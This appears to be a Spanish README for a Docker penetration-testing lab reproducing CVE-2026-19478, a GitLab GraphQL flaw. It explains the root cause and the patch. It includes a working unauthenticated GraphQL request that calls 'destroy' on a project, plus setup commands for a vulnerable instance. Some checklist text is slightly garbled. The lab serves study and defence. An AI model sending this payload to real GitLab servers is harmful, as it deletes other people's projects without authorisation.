Laboratorio de exploit dockerizado y script para CVE-2026-19478, una inyección de código GraphQL crítica no autenticada en GitLab que permite llamadas arbitrarias a métodos Ruby, eliminación de proyectos y exfiltración de datos.
Inyección remota de código sin autenticación mediante directiva GraphQL en GitLab CE/EE — Eliminar cualquier proyecto público con una sola petición HTTP
Un laboratorio práctico de pruebas de penetración que reproduce CVE-2026-19478, una vulnerabilidad crítica (CVSS 9.4) en la API GraphQL de GitLab. La directiva @gl_introduced permite a atacantes no autenticados ejecutar métodos Ruby arbitrarios sobre objetos del lado del servidor — incluyendo la eliminación de proyectos, la exfiltración de datos y la transferencia de propiedad — sin necesidad de autenticación.
Este laboratorio ejecuta una instancia real y vulnerable de GitLab CE 19.2.0 en Docker para practicar la explotación de forma realista.
| Campo | Valor |
|---|---|
| ID de CVE | CVE-2026-19478 |
| Puntuación CVSS | 9.4 (Crítico) |
| Producto | GitLab Community Edition (CE) / Enterprise Edition (EE) |
| Tipo de vulnerabilidad | Inyección de código / Ejecución arbitraria de métodos (CWE-94) |
| Vector de ataque | Red (Remoto) |
| Autenticación | No requiere autenticación |
| Interacción del usuario | Ninguna |
| Complejidad del ataque | Baja |
| Versiones afectadas | 18.2 – 18.11.10, 19.0 – 19.0.7, 19.1 – 19.1.5, 19.2 – 19.2.3 |
| Versiones parcheadas | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| Descubierto por | hiimguardian (vía HackerOne) |
| Fecha del parche | 17 de agosto de 2026 |
Un atacante remoto no autenticado puede:
GitLab utiliza una directiva GraphQL personalizada @gl_introduced(version: "X.Y") para soportar despliegues continuos. Cuando una versión más reciente de GitLab añade un campo a la API GraphQL, las instancias más antiguas gestionan las consultas que hacen referencia a esos campos nuevos de forma elegante, devolviendo null en lugar de un error.
Archivo: lib/gitlab/graphql/version_filter/future_field_fallback.rb (Líneas 14-36)
Desglose paso a paso:
FutureFieldFilter escanea las consultas GraphQL entrantes. Cuando un campo tiene @gl_introduced(version) con una versión más reciente que la del servidor actual, elimina el campo y establece context[:contain_future_fields] = true.
IntroducedTracer restaura el documento de consulta original en el momento de la ejecución, volviendo a colocar los campos eliminados en el AST.
FutureFieldFallback#get_field intercepta todas las búsquedas de campos durante la ejecución. Comprueba tres condiciones:
contain_future_fields? ✅__? ✅Cuando las tres comprobaciones se cumplen, sintetiza un nuevo GraphQL::Schema::Field sin clase de resolver.
En graphql-ruby, un campo sin resolver se resuelve llamando a object.public_send(field_name) sobre el objeto Ruby subyacente, convirtiendo el nombre de campo del atacante en una llamada a un método arbitrario en el modelo Project de ActiveRecord.
El parche de GitLab reemplaza el envío implícito de métodos por un NilResolver explícito que devuelve nil incondicionalmente, preservando la compatibilidad con los despliegues continuos y eliminando la ejecución arbitraria de métodos:
# BEFORE (vulnerable) — no resolver → method dispatch
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type)
# → object.public_send(field_name) ← ARBITRARY METHOD CALL
# AFTER (patched) — explicit NilResolver
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type,
resolver_class: NilResolver) # ← always returns nil
ATTACKER (unauthenticated)
│
│ POST /api/graphql
│ { project(fullPath: "victim/repo") {
│ name
│ destroy @gl_introduced(version: "99.0")
│ }}
│
▼
┌──────────────────────────────┐
│ GitLab GraphQL API │
│ (no auth required) │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 1. FutureFieldFilter │
│ "destroy" has @gl_introduced│
│ version 99.0 > 19.2.0 │
│ → Strip field │
│ → Set contain_future_fields │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 2. IntroducedTracer │
│ → Restore original query │
│ "destroy" is back in AST │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 3. FutureFieldFallback │
│ "destroy" not in schema? ✓ │
│ Flag set? ✓ │
│ Not __introspection? ✓ │
│ → Synthesize field │
│ → NO RESOLVER attached │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 4. graphql-ruby resolution │
│ No resolver found → │
│ object.public_send(:destroy)│
│ │
│ Project.find("victim/repo") │
│ .destroy() │
│ │
│ ██ PROJECT DELETED ██ │
└──────────────────────────────┘
curl / httpie para probar la API# Clone or navigate to the lab directory
cd CVE-2026-19478
# Pull and start the vulnerable GitLab instance
docker compose up -d
# Wait for GitLab to fully start (3-5 minutes on first boot)
# Monitor startup progress:
docker logs -f gitlab-vulnerable
# Once you see "gitlab Reconfigured!" in logs, set up test projects:
bash setup-lab.sh